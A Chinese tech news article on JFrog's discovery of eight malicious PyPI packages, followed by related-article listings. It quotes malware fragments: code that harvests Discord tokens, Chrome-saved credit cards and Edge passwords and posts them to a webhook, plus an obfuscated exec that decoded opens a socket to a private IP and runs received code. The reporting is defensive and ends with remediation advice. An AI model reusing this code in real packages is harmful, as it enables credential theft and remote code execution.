近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。据估计,这些软件包的下载次数达到了 3 万次。

>>>>

PyPI(Python Package Index)是 Python 的正式第三方软件包的开源软件存储库,它类似于 CPAN(Perl 的存储库)。pip 等一些软件包管理器就是默认从 PyPI 下载软件包。任何用户都可以下载第三方库和上传自己开发的库,目前通过 PyPI 可以下载超过 23.5 万个 Python 软件包。

但是,PyPI 软件存储库经常被滥用也成为一个不争的事实。2018 年,一位安全研究者 Bertus 对 PyPI 进行安全扫描时发现了 12 个有问题的软件包,其中包含可以导致安全隐患、开启后门甚至盗取比特币的恶意代码;2020 年腾讯洋葱反入侵系统发现 PyPI 被恶意上传了 request 钓鱼包,攻击者通过伪造 requests 包名进行钓鱼,能够对受感染的主机进行入侵,进而可能窃取用户敏感信息及数字货币密钥、种植持久化后门、命令控制等。

近日,DevOps 软件供应商 JFrog 的几位研究人员发表文章称,他们最近在 PyPI 中又发现了 8 个可执行一系列恶意活动的软件包,并且根据对 PePy 网站(一个提供 Python 包下载统计数据的站点)的搜索,这些恶意包的下载次数估计达到了 3 万。

他们表示,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。在收到研究人员的通知后,PyPI 的维护者 Dustin Ingram 迅速做出反应并删除了恶意软件包

两类不同的恶意代码族构成系统性威胁

这一发现是近年来一系列攻击中最新的一个,这些攻击超过了开源存储库的接受能力,数以百万计的软件开发人员每天都依赖开源存储库。尽管软件存储库扮演着至关重要的角色,但它们往往缺乏鲁棒的安全性和审查控制,当开发人员在不知情的情况下感染恶意代码或将恶意代码嵌入他们发布的软件时,这一弱点有可能导致严重的供应链攻击。

JFrog 首席技术官 Asaf Karas 表示:「诸如 PyPI 这样的流行软件库中不断发现恶意软件包,这种趋势令人担忧,有可能导致更为广泛的供应链攻击。攻击者使用简单的混淆技术来引入恶意软件,这意味着开发人员必须时刻保持关注和警惕。这是一种系统性威胁,需要在包括软件存储库的维护人员和开发人员等不同层面上进行解决。」

与大多数 Python 恶意软件一样,这些包仅使用了简单的混淆技术,例如来自 Base64 编码器的混淆。在这 8 个恶意软件包中,前 6 个(noblesse、genesisbot、aryi、suffer、noblesse2 和 noblessev2)均包含 3 个有效负载,一个用于获取 Discord 账户的认证 cookie,第二个用于提取在浏览器存储的任何密码或支付款卡数据,第三个用于收集受感染 PC 的信息,如 IP 地址、计算机名和用户名。

有效负载 1:窃取 Discord 身份验证 token

noblesse 恶意软件族的首个有效负载是窃取 Discord 身份验证 token。身份验证 token 允许攻击者冒充最初持有 token 的用户,类似于 HTTP 会话 cookie。窃取 token 的有效负载基于臭名昭著的 dTGPG 有效负载,它是一个从未公开发布的生成器工具,但个性化 token 抓取器是公开共享的,并且一些示例也上传到了 GitHub。因此,Discord 身份验证 token 窃取器代码非常简单,它迭代一组硬编码的路径:

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')paths = {'Discord': roaming + '\\Discord','Discord Canary': roaming + '\\discordcanary','Discord PTB': roaming + '\\discordptb','Google Chrome': local + '\\Google\\Chrome\\User Data\\Default','Opera': roaming + '\\Opera Software\\Opera Stable','Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default','Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}

然后读取这些路径下(特别是 Local Sotrage\leveldb)的所有的. log 和. ldb 文件,并查找 Discord 身份验证 token。所得结果通过 Webhook 上传到 Discord,所用参数如下:

{"type": 1,"id": "807327703082074143","name": "Captain Hook","avatar": null,"channel_id": "725001140324008047","guild_id": "720931953251057725","application_id": null,"token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}

有效负载 2:窃取自动完成敏感数据(信用卡和密码)

noblesse 恶意软件族的第二个有效负载可自动完成信息窃取。目前所有的现代浏览器都支持保存用户密码和信用卡信息的能力:

这种自动保存功能给用户带来了极大的便利,但缺点是,这些信息可能会被访问本地机器的恶意软件泄露。在这种情况下,恶意软件试图从 Chrome 窃取信用卡信息:

def cs():master_key = master()login_db = os.environ['USERPROFILE'] + os.sep + \
r'AppData\Local\Google\Chrome\User Data\default\Web Data'shutil.copy2(login_db,
"CCvault.db")conn = sqlite3.connect("CCvault.db")cursor = conn.cursor()try:cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():username = r[1]encrypted_password = r[4]decrypted_password = dpw(encrypted_password, master_key)expire_mon = r[2]expire_year = r[3]hook.send(f"CARD-NAME:" + username + "\nNUMBER:" + decrypted_password + "\nEXPIRY M:" + str(expire_mon) + "\nEXPIRY Y:" + str(expire_year) + "\n" + "*" * 10 + "\n")

另外,从 Edge 中窃取保存的密码和信用卡信息:

login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'...
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
decrypted_password = dpw(encrypted_password, master_key)if username != ""or decrypted_password !="":hook.send(f"URL:" + url + "\nUSER:" + username + "\nPASSWORD:" + decrypted_password + "\n" + "*" * 10 + "\n")

有效负载 3:用户系统信息收集

noblesse 恶意软件族的第三个有效负载是收集中招用户系统的相关信息,并上传至上文提到的 Webhook。收集的信息包括如下:

  • IP 地址;

  • 计算机名;

  • 用户名;

  • Windows 许可关键信息;

  • Windows 版本;

  • 屏幕截图(使用 Pillow 的 ImageGrab)。

pytagora 恶意软件族:远程代码注入攻击

不过,Karas 表示前 6 个软件包具有感染开发者计算机的能力,但却不能用恶意软件感染开发者编写的代码。第二类恶意软件族则要简单得多,软件包的代码如下:

import mathimport base64,sys
def hello():exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))
def hypotenuse(a,b):hello()c = math.sqrt(math.pow(a,2) + math.pow(b,2))
return round(c,2)
def other(c,x):y = math.sqrt(math.pow(c,2)-math.pow(x,2))
return round(y,2)

模糊代码又被解码为了以下代码片段:

import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)
s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]
print (l)d=s.recv(l)
print (d)while len(d)>!1:d+=s.recv(l-len(d))
print (d)
exec(d,{'s':s})

简单地说,恶意软件试图连接 TCP 端口 9009 上的私有 IP 地址,然后执行从 socket 中读取的任何 Python 代码。

对此,Karas 表示:「对于 pytagora 和 pytagora2 这两个软件包,则允许在安装它们的机器上代码执行,这是有可能的。在感染了开发机器之后,恶意软件包允许代码执行,然后攻击者可以下载有效负载,从而修改正在开发的软件项目。我们没有证据表明恶意软件确实是这样执行的。」

机器中招,怎么办?

如果你在检查完 PyPI 依赖项后,确认 noblesse(或是克隆版本)已经在本地安装,你可以采取以下建议:

  1. 检查 Edge 中保存了哪些密码,并在每个网站上更改这些被泄露的密码(还包括重复使用相同密码的网站)。你可以这样做:打开 Edge,然后导航到 edge://settings/passwords。保存密码的完整列表(这些都是潜在的危害)可以在 Saved passwords 查看。

  2. 检查哪些信用卡信息保存在 Chrome,可以考虑在 Chrome 中取消这些信用卡。你可以这样做:打开 Chrome,导航到 chrome://settings/payments。完整的信用卡信息列表(这些都是潜在的危害)可以在 Payment methods 中查看。

如果你已经确定 pytagora(或者克隆版本)已经在你的机器上本地安装,尽管你的机器可能不会感染相关的恶意软件,但建议你还是遵循常用的恶意软件检查步骤进行检查,例如使用已安装的杀毒软件进行全面扫描。

参考链接:

https://www.secrss.com/articles/24477

https://www.freebuf.com/column/188051.html

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/

https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199

—版权声明—

来源:机器之心,编辑:nhyilin

仅用于学术分享,版权属于原作者。

若有侵权,请联系微信号:Eternalhui或nhyilin删除或修改!

—THE END—

文章推荐

☞随机、赌徒谬误、小数定律,概率论中最简单的智慧

☞《数学分析》里的人生

☞改变世界的6大计算机实验室

☞很多事情难解释,回归平均是原因

☞一直不解,为什么如此定义矩阵的乘法,为什么这样一种怪异的乘法规则却能够在实践中发挥如此巨大的功效?

☞一道有趣的数学题告诉我:不要想当然

下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?...相关推荐

  1. 下个软件包可能泄露信用卡信息,Python 包存储库 PyPI 又爆恶意代码,下载达 3 万次,你中招了吗?...

    转自:机器之心 近日,有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码.据估计,这些软件 ...

  2. 危!Python 官方存储库 PyPI 再成“祸源”?

    整理 | 郑丽媛 出品 | CSDN(ID:CSDNnews) PyPI,作为 Python 的官方第三方软件包存储库,一直广受开发者欢迎,所有人都可以下载第三方库或上传自己开发的库到 PyPI,与之 ...

  3. 信息安全快讯丨个人信息保护法列入人大立法规划;汇丰银行部分用户数据泄露;Android新恶意样本数量达320万个

    政府举措 个人信息保护法列入人大立法规划 关键词:个人信息保护 11月8日,第五届世界互联网大会"大数据时代的个人信息保护"分论坛在浙江省乌镇举行.从会上了解到,个人信息保护法已经 ...

  4. python包发布到pypi或私有仓库 实践及踩坑 ModuleNotFoundError: No module named 'keyring.util.escape' 等

    0.写在开头: 封装我们自己写好的python包然后分享到网络提供给大家使用, 这本来是一个基本操作. 但是之前个人没有主动上传过自己封装的库到pypi, 正好趁这次自己封装简单包提供给大家用的机会, ...

  5. python 发布包_如何将自己的Python包发布到PyPI

    以前写过一篇类似的文章: 如何打包自己的项目并且发布到pypi上,不过由于PyPI进行了一些更新,因此旧方法不大适用了.趁端午有时间,想把haipproxy的客户端发布到PyPI,以改进用户体验,因此 ...

  6. python自己写包_如何将自己的Python包发布到PyPI

    以前写过一篇类似的文章: 如何打包自己的项目并且发布到pypi上,不过由于PyPI进行了一些更新,因此旧方法不大适用了.趁端午有时间,想把haipproxy的客户端发布到PyPI,以改进用户体验,因此 ...

  7. python包发布到Pypi官网

    python包发布教程 首先,我们先在Pypi注册一个账户,如图: (点register注册) 注册完毕后,我们还要安装setuptools和twine两个包 >>> pip ins ...

  8. 【Python】如何在PyPI上发布自定义软件包

    1. 引言 在Python中我们经常使用pip来安装第三方Python软件包,其实我们每个人都可以免费地将自己写的Python包发布到PyPI上,供他人来通过pip进行安装. 在本文中,我们将从一步一 ...

  9. Python 包管理工具 pip 安装 和 使用

    pip 安装使用详解:http://www.ttlsa.com/python/how-to-install-and-use-pip-ttlsa python 包:https://pypi.python ...

最新文章

  1. Java中元组的使用
  2. 修改服务器端的访问模式,ftp服务器端 修改主动模式
  3. 清华学长手把手带你做UI自动化测试
  4. Xamarin XAML语言教程构建ControlTemplate控件模板
  5. WIFI配置专项测试
  6. Codechef Yet another cute girl
  7. char data[0]在struct末尾的用法
  8. 再现神人!仅仅只花4天半就解开了史上最难密码,这下整个圈子都炸开了.........
  9. 如何在 Ubuntu 中安装和删除软件
  10. 在linux添加驱动程序,linux下静态/动态加载驱动的两种方式
  11. Authentication—身份验证流程
  12. 怎样选择(FC-SAN)光纤通道(存储)交换机
  13. 微信与企业微信消息如何互通?
  14. #梆梆安全杯#个人对APP安全的一些看法
  15. npm i和npm i --save没有区别
  16. 我国古代数学家张丘建在《算经》一书中曾提出过著名的“百钱买百鸡”问题,该问题叙述如下: 鸡翁一,值钱五;鸡母一,值钱三;鸡雏三,值钱一;百钱买百鸡,则翁、母、雏各几何?
  17. excel切片器_不喜欢Excel自带的切片器样式,我一秒设置个性化切片器
  18. linux centos7和xshell在黑暗中摸索记
  19. rts游戏服务器源码,unity即时战略游戏源码Real-time strategy (RTS) game kit
  20. 不要再问Python了!

热门文章

  1. 如何自学web安全(详细路径)
  2. 华为鸿蒙操作界面,华为鸿蒙被“实锤”,操作界面曝光,为何被吐槽是换皮安卓?...
  3. 程序员35岁之后的出路_35岁的程序员走向何方?
  4. mysql改原始密码mac_MAC版修改MySQL初始密码的方法
  5. Spring的@Configuration使用cglib代理的效果和我自己写的简单实现
  6. JS--Console.log()详解
  7. 计算机管理中添加用户属性,如何在计算机右键菜单栏中添加属性选项
  8. fpga如何约束走线_FPGA时序约束实战篇之多周期路径约束
  9. java包图标是文件_关于更换.jar文件默认图标
  10. mysql双主 绿色_mysql (双主,互主)